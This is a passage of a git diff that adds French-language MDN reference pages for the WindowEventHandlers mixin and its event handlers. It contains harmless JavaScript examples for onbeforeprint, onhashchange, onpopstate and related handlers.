+<h2 id="Compatibilité_des_Navigateurs">Compatibilité des Navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 and 52 Extended Support Releases</a> (ESR.)</p>
diff --git a/files/fr/web/api/windoweventhandlers/index.html b/files/fr/web/api/windoweventhandlers/index.html
new file mode 100644
index 0000000000..40c8846588
--- /dev/null
+++ b/files/fr/web/api/windoweventhandlers/index.html
@@ -0,0 +1,96 @@
+---
+title: WindowEventHandlers
+slug: Web/API/WindowEventHandlers
+tags:
+  - API
+translation_of: Web/API/WindowEventHandlers
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<div>La mixin <strong><code>WindowEventHandlers</code></strong> décrit les gestionnaires d'événements communs à plusieurs interfaces comme {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} et {{domxref("HTMLFrameSetElement")}}. Chacune de ces interfaces peut implémenter des gestionnaires d'événement supplémentaires.</div>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Note</strong>: <code>WindowEventHandlers</code> est une mixin et non une interface; il n'est pas possible de créer un objet de type <code>WindowEventHandlers</code>.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Les propriétés d'événement, de la forme <code>onXYZ</code>, sont définis sur {{domxref("WindowEventHandlers")}} et implémentées par {{domxref("Window")}} ou {{domxref("WorkerGlobalScope")}} pour les Web Workers.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("afterprint")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("beforeprint")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("beforeunload")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("hashchange")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("languagechange")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("message")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("offline")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("online")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("pagehide")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("pageshow")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("popstate")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onresize")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("resize")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("storage")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("unload")}} est déclenché.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface ne définit aucune méthode.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName("HTML WHATWG")}}. Ajoute <code>onlanguage</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de {{SpecName("HTML WHATWG")}}. Création de <code>WindowEventHandlers</code> (les propriétés étaient sur la cible avant).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.WindowEventHandlers")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Window")}} et {{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/fr/web/api/windoweventhandlers/onafterprint/index.html b/files/fr/web/api/windoweventhandlers/onafterprint/index.html
new file mode 100644
index 0000000000..3a7b4c259b
--- /dev/null
+++ b/files/fr/web/api/windoweventhandlers/onafterprint/index.html
@@ -0,0 +1,67 @@
+---
+title: WindowEventHandlers.onafterprint
+slug: Web/API/WindowEventHandlers/onafterprint
+tags:
+  - API
+  - DOM
+  - HTML-DOM
+  - Propriété
+  - Reference
+  - Window
+  - impression
+  - évènements
+translation_of: Web/API/WindowEventHandlers/onafterprint
+---
+<div>{{ApiRef}}</div>
+
+<p>La propriété WindowEventHandlers.onafterprint définit et renvoie {{event("afterprint")}} {{domxref("EventHandler")}} pourl a fenêtre actuelle.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>window</em>.onafterprint = <em>code de traitement de l'événement</em>
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les événements <code>beforeprint</code> et <code>afterprint</code> permettent aux pages de modifier leur contenu avant le début de l'impression (pour supprimer une bannière, par exemple), puis d'annuler ces modifications une fois l'impression terminée. En général, les auteurs de contenu devraient préférer l'utilisation d'une règle CSS <a href="/en-US/docs/Web/CSS/@media">@media print</a>, mais il peut être nécessaire d'utiliser ces événements dans certains cas.</p>
+
+<p>L'événement <code>afterprint</code> est appelé après l'impression par l'utilisateur, ou s'il interrompt la boîte de dialogue d'impression.</p>
+
+<p> </p>
+
+<p> </p>
+
+<p>Safari ne reconnaît pas ces événements.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#handler-window-onafterprint', 'onafterprint')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers.onafterprint")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.print")}}</li>
+ <li>{{domxref("window.onbeforeprint")}}</li>
+ <li><a href="/en-US/docs/Printing" title="Printing">Printing</a></li>
+</ul>
+
+<div class="grammarly-disable-indicator"> </div>
diff --git a/files/fr/web/api/windoweventhandlers/onbeforeprint/index.html b/files/fr/web/api/windoweventhandlers/onbeforeprint/index.html
new file mode 100644
index 0000000000..4f5e06adb8
--- /dev/null
+++ b/files/fr/web/api/windoweventhandlers/onbeforeprint/index.html
@@ -0,0 +1,70 @@
+---
+title: WindowEventHandlers.onbeforeprint
+slug: Web/API/WindowEventHandlers/onbeforeprint
+tags:
+  - API
+  - DOM
+  - Propriété
+  - impression
+translation_of: Web/API/WindowEventHandlers/onbeforeprint
+---
+<div>{{ApiRef}}</div>
+
+<p>La propriété <code>onbeforeprint</code> définit et retourne le code du gestionnaire d'événement <code>onbeforeprint</code> onbeforeprint pour la fenêtre actuelle.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">window.onbeforeprint = <em>code de traitement de l'événement</em>
+</pre>
+
+<h2 class="Notes" id="Notes">Notes</h2>
+
+<p>Les événements <code>beforeprint</code> et <code>afterprint</code> permettent aux pages de modifier leur contenu avant le début de l'impression (peut-être pour supprimer une bannière, par exemple), puis d'annuler ces modifications une fois l'impression terminée. En général, les auteurs de contenu devraient préférer l'utilisation d'une règle CSS <a href="/en-US/docs/Web/CSS/@media">@media print</a>, mais il peut être nécessaire d'utiliser ces événements dans certains cas.</p>
+
+<p>L'événement <code>beforeprint</code> est appelé avant l'ouverture de la fenêtre de dialogue d'impression.</p>
+
+<p>Safari ne reconnaît pas ces événements, mais un résultat équivalent à l'événement <code>beforeprint</code> peut être obtenu avec <code>{{domxref("window.matchMedia")}}('print')</code>.</p>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush: js">var mediaQueryList = window.matchMedia('print');
+mediaQueryList.addListener(function(mql) {
+  if(mql.matches) {
+    console.log('équivalent webkit de onbeforeprint');
+  }
+});</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#handler-window-onbeforeprint', 'onbeforeprint')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers.onbeforeprint")}}</p>
+
+<h2 id="See_also" name="See_also">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.print")}}</li>
+ <li>{{domxref("window.onafterprint")}}</li>
+ <li><a href="/en-US/docs/Printing">Printing</a></li>
+</ul>
diff --git a/files/fr/web/api/windoweventhandlers/onbeforeunload/index.html b/files/fr/web/api/windoweventhandlers/onbeforeunload/index.html
new file mode 100644
index 0000000000..b63c5b4caf
--- /dev/null
+++ b/files/fr/web/api/windoweventhandlers/onbeforeunload/index.html
@@ -0,0 +1,49 @@
+---
+title: window.onbeforeunload
+slug: Web/API/WindowEventHandlers/onbeforeunload
+translation_of: Web/API/WindowEventHandlers/onbeforeunload
+---
+<h2 id="Sommaire" name="Sommaire">Résumé</h2>
+
+<p>Le gestionnaire d'événement <code><strong>WindowEventHandlers.onbeforeunload</strong></code> contient le code exécuté lorsque l'évènement {{event("beforeunload")}} est envoyé. Cet événement se déclenche lorsque la fenêtre est sur le point de recharger ses ressources.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: html">&lt;element beforeunload="funcRef(event);" /&gt;</pre>
+
+<pre class="brush: js">&lt;script type="text/javascript"&gt;
+	window.onbeforeunload = funcRef
+&lt;/script&gt;</pre>
+
+<ul>
+ <li>funcRef : Référence à une fonction appelée lorsque l'évènement se déclenche</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: js">window.onbeforeunload = function (e) {
+  var e = e || window.event;
+
+  // For IE and Firefox
+  if (e) {
+    e.returnValue = 'Any string';
+  }
+
+  // For Safari
+  return 'Any string';
+};
+</pre>
+
+<h2 id="EventProperty" name="EventProperty">Propriétés de l'objet <strong>event</strong></h2>
+
+<pre>returnValue</pre>
+
+<ul>
+ <li>Applique ou récupère la valeur de retour de l'évènement.</li>
+</ul>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>L'évènement 'onbeforeunload' a été introduit par Microsoft dans IE4 et s'est généralisé dans tous les navigateurs.</p>
+
+<p><a class="external" href="http://msdn.microsoft.com/en-us/library/ms536907%28VS.85%29.aspx" title="MSDN—onbeforeunload Event">MSDN—onbeforeunload Event</a></p>
diff --git a/files/fr/web/api/windoweventhandlers/onhashchange/index.html b/files/fr/web/api/windoweventhandlers/onhashchange/index.html
new file mode 100644
index 0000000000..bbb31c4752
--- /dev/null
+++ b/files/fr/web/api/windoweventhandlers/onhashchange/index.html
@@ -0,0 +1,181 @@
+---
+title: WindowEventHandlers.onhashchange
+slug: Web/API/WindowEventHandlers/onhashchange
+translation_of: Web/API/WindowEventHandlers/onhashchange
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+
+<div>L'événement <strong>hashchange</strong> est déclenché lorsque le hash de l'url change (cf. {{domxref("Window.location", "location.hash")}}).</div>
+
+<div> </div>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">window.onhashchange = funcRef;
+</pre>
+
+<p><strong>ou</strong></p>
+
+<pre class="syntaxbox">&lt;body onhashchange="funcRef();"&gt;
+</pre>
+
+<p><strong>ou</strong></p>
+
+<pre class="syntaxbox">window.addEventListener("hashchange", funcRef, false);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>funcRef</code></dt>
+ <dd>Une référence à une fonction.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">if ("onhashchange" in window) {
+    alert("Le navigateur prend en charge l'événement hashchange!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+</pre>
+
+<h2 id="L'événement_hashchange">L'événement hashchange</h2>
+
+<p>Lorsque l'observateur d'événement déclenche l'événement hashchange il passe en paramêtres les arguments suivante:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Paramêtre</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>newURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>Le nouvel URL où le navigateur est.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>L'ancien URL où le navigateur se trouvait.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Une_solution_autour_de_event.newURL_et_event.oldURL">Une solution autour de event.newURL et event.oldURL</h3>
+
+<pre class="brush:js">//insérez ce bout de code au début de votre code pour observer les changements de hash dans l'URL
+if(!window.HashChangeEvent)(function(){
+	var lastURL=document.URL;
+	window.addEventListener("hashchange",function(event){
+		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+		lastURL=document.URL;
+	});
+}());
+</pre>
+
+<h3 id="sect1"> </h3>
+
+<h2 id="Spécifications">Spécifications </h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>
+    <p>8.0</p>
+
+    <p><code style="font-size: 14px;">oldURL</code>/<code style="font-size: 14px;">newURL</code> attributes are not supported.</p>
+   </td>
+   <td>10.6</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Lire_également">Lire également</h2>
+</div>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur">Manipuler l'historique du navigateur</a></li>
+ <li>Méthodes <a href="/fr/docs/Web/API/Window/history" title="DOM/window.history">history.pushState() et history.replaceState()</a></li>
+ <li>L'événement <a href="/fr/docs/Web/API/WindowEventHandlers/onpopstate" title="DOM/window.onpopstate">popstate</a></li>
+</ul>
diff --git a/files/fr/web/api/windoweventhandlers/onlanguagechange/index.html b/files/fr/web/api/windoweventhandlers/onlanguagechange/index.html
new file mode 100644
index 0000000000..aaa590371d
--- /dev/null
+++ b/files/fr/web/api/windoweventhandlers/onlanguagechange/index.html
@@ -0,0 +1,66 @@
+---
+title: WindowEventHandlers.onlanguagechange
+slug: Web/API/WindowEventHandlers/onlanguagechange
+tags:
+  - API
+  - Event Handler
+  - Experimental
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/WindowEventHandlers/onlanguagechange
+---
+<div>{{APIRef("HTML DOM")}} {{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>onlanguagechange</strong></code> du mixin {{domxref("WindowEventHandlers")}} est le {{domxref("EventHandler")}} pour le traitement des événements {{event("languagechange")}}.</p>
+
+<p>Ces événements sont reçus par l'objet implémentant cette interface, généralement un {{domxref ("Window")}}, un {{domxref ("HTMLBodyElement")}} ou un {{domxref ("HTMLIFrameElement")}}. Un tel événement est envoyé par le navigateur pour informer que la liste des langues préférées a été mise à jour. La liste est accessible via {{domxref("NavigatorLanguage.languages")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>object</em>.onlanguagechange = <em>function</em>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<ul>
+ <li><code>function</code> est le nom d'une fonction définie par l'utilisateur, sans le suffixe <code>()</code> ni aucun paramètre, ou une déclaration de fonction anonyme, telle que <code>function(event) {...}</code>. Un gestionnaire d'événements a toujours un seul paramètre, contenant l'événement, ici de type {{domxref ("Event")}}.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">window.onlanguagechange = function(event) {
+  console.log('événement de changement de langue détecté!');
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#handler-window-onlanguagechange', 'WindowEventHandler.onlanguagechange') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.WindowEventHandlers.onlanguagechange")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>L'événement {{event("languagechange")}} et son type, {{domxref("Event")}}</li>
+</ul>
diff --git a/files/fr/web/api/windoweventhandlers/onpopstate/index.html b/files/fr/web/api/windoweventhandlers/onpopstate/index.html
new file mode 100644
index 0000000000..1eb120e770
--- /dev/null
+++ b/files/fr/web/api/windoweventhandlers/onpopstate/index.html
@@ -0,0 +1,58 @@
+---
+title: window.onpopstate
+slug: Web/API/WindowEventHandlers/onpopstate
+translation_of: Web/API/WindowEventHandlers/onpopstate
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<h3 id="Résumé">Résumé</h3>
+
+<p>Un gestionnaire d'évènement pour l'évènement <code>popstate</code> de la fenêtre.</p>
+
+<p><span style="line-height: inherit;">L'évènement <code>popstate</code></span> est envoyé à la fenêtre à chaque fois que l'entrée actuelle de l'historique change avec 2 autres entrées du même document. Si l'entrée actuelle a été créée en appelant <code>history.pushState()</code> ou a été modifiée en appelant <code>history.replaceState()</code>, la propriété <font face="Courier New, Andale Mono, monospace">state</font> de l'évènement <code>popstate</code> contient une copie de l'objet d'entrée de l'historique.</p>
+
+<p>Sachez qu'appeler <code>history.pushState()</code> ou <code>history.replaceState()</code> ne déclenchera pas l'évènement <code>popstate</code>. Cet évènement n'est déclenché que par une action utilisateur telle que cliquer sur le bouton Retour (ou appeler <code>history.back()</code>, en JavaScript). L'évènement n'est déclenché que pour la navigation entre deux entrées du même document.</p>
+
+<h3 id="Syntax" name="Syntax">Syntaxe</h3>
+
+<pre class="eval">window.onpopstate = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> est une référence à une fonction.</li>
+</ul>
+
+<h3 id="Lévènement_popstate">L'évènement popstate</h3>
+
+<p>Par exemple, une page à l'adresse <a class="external" href="http://example.com/example.html" rel="freelink">http://example.com/example.html</a> exécutant le code suivant générera les alertes suivantes:</p>
+
+<pre class="brush: js">window.onpopstate = function(event) {
+  alert("adresse: " + document.location + ", état: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "titre 1", "?page=1");
+history.pushState({page: 2}, "titre 2", "?page=2");
+history.replaceState({page: 3}, "titre 3", "?page=3");
+history.back(); // affiche "adresse: http://example.com/example.html?page=1, état: {"page":1}"
+history.back(); // affiche "adresse: http://example.com/example.html, état: null
+history.go(2);  // affiche "adresse: http://example.com/example.html?page=3, état: {"page":3}
+</pre>
+
+<p>Même si l'entrée originelle (de <a class="external" href="http://example.com/example.html" rel="freelink">http://example.com/example.html</a>) n'a aucun objet d'état associé, l'évènement <code>popstate</code> est toujours déclenché lorsque l'entrée est activée après un deuxième appel à <code>history.back()</code>.</p>
+
+<h3 id="Specification" name="Specification">Spécification</h3>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#handler-window-onpopstate" title="http://www.whatwg.org/specs/web-apps/current-work/#handler-window-onpopstate">HTML5 popstate event</a></li>
+</ul>
+
+<h3 id="Lire_également">Lire également</h3>
+
+<ul>
+ <li>{{ domxref("window.history") }}</li>
+ <li><a href="/fr/docs/DOM/manipuler_lhistorique_du_navigateur" title="/fr/docs/DOM/manipuler_lhistorique_du_navigateur">Manipuler l'historique du navigateur</a></li>
+ <li><a href="/fr/docs/DOM/Manipulating_the_browser_history/Example" title="/fr/docs/DOM/Manipulating_the_browser_history/Example">Exemple de navigation en Ajax</a></li>
+</ul>
+
+<p>{{ languages( {"zh-cn": "zh-cn/DOM/window.onpopstate" } ) }}</p>
diff --git a/files/fr/web/api/windoweventhandlers/onunload/index.html b/files/fr/web/api/windoweventhandlers/onunload/index.html
new file mode 100644
index 0000000000..e218cb7656
--- /dev/null
+++ b/files/fr/web/api/windoweventhandlers/onunload/index.html
@@ -0,0 +1,58 @@
+---
+title: WindowEventHandlers.onunload
+slug: Web/API/WindowEventHandlers/onunload
+tags:
+  - API
+  - Propriétés
+  - Reference
+  - WindowEventHandlers
+translation_of: Web/API/WindowEventHandlers/onunload
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>L'événement <strong><code>unload</code></strong> est déclenché lorsque le contenu et les ressources sont déchargés à la fermeture de la fenêtre. Le processus de suppression des ressources se fait <em>après</em> que l'événement <code>unload </code>a eu lieu.</p>
+
+<p>Les navigateurs équipés d'un bloqueur de pop-up vont ignorer tout appel de window.open() lancé depuis onunload.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">window.addEventListener("unload", function(event) { ... });
+window.onunload = function(event) { ... };
+</pre>
+
+<p>Généralement, mieux vaut utiliser {{domxref("EventTarget.addEventListener", "window.addEventListener()")}} et l'événement {{event("unload")}} plutôt que <code>onunload</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#handler-window-onunload', 'onunload')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.WindowEventHandlers.onunload")}}</p>
diff --git a/files/fr/web/api/windoworworkerglobalscope/caches/index.html b/files/fr/web/api/windoworworkerglobalscope/caches/index.html
new file mode 100644
index 0000000000..d05a1c95ad
--- /dev/null
+++ b/files/fr/web/api/windoworworkerglobalscope/caches/index.html
@@ -0,0 +1,79 @@
+---
+title: WindowOrWorkerGlobalScope.caches
+slug: Web/API/WindowOrWorkerGlobalScope/caches
+translation_of: Web/API/WindowOrWorkerGlobalScope/caches
+---
+<p>{{APIRef()}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecture seule  <code><strong>caches</strong></code> de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne l'objet {{domxref("CacheStorage")}} associé au contexte actuel. Cet objet permet de stocker des ressources pour une utilisation hors-ligne et de générer des réponses personnalisées à des requêtes.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>myCacheStorage</em> = self.caches; // ou simplement caches
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Un objet de type {{domxref("CacheStorage")}}.</p>
+
